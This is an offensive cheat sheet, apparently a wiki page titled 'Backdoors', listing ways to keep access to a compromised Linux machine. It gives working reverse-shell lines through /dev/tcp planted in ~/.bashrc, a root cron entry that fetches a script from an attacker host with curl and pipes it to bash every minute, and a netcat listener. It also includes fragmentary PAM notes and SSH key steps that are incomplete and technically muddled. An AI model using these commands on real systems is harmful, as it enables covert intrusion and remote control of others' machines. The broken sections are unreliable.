🚪Backdoors

PAM
PAM
pam_unix.so file is responsible for authentication

pam_unix.so uses the unix_verify_password function to verify to user's supplied password :

.bashsrc
.bashsrc
Any user that log in often :
echo 'bash -i >& /dev/tcp/ip/port 0>&1' >> ~/.bashrc
Put a nc listener
CronJob
CronJob
With a root access
Configure a task where every minute a reverse shell is sent to you. Add this line into your cronjob file :
* * * * * root curl http://$attacker_ip:8080/shell | bash
Add this to the shell file :
#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1
On the attacker machine :
nc -nvlp $port
SSH
SSH
Generate ssh key
ssh-keygen
Copy our key into the user's .ssh directory
mkdir .ssh
cp id_rsa .ssh/id_rsa
Last updated
Was this helpful?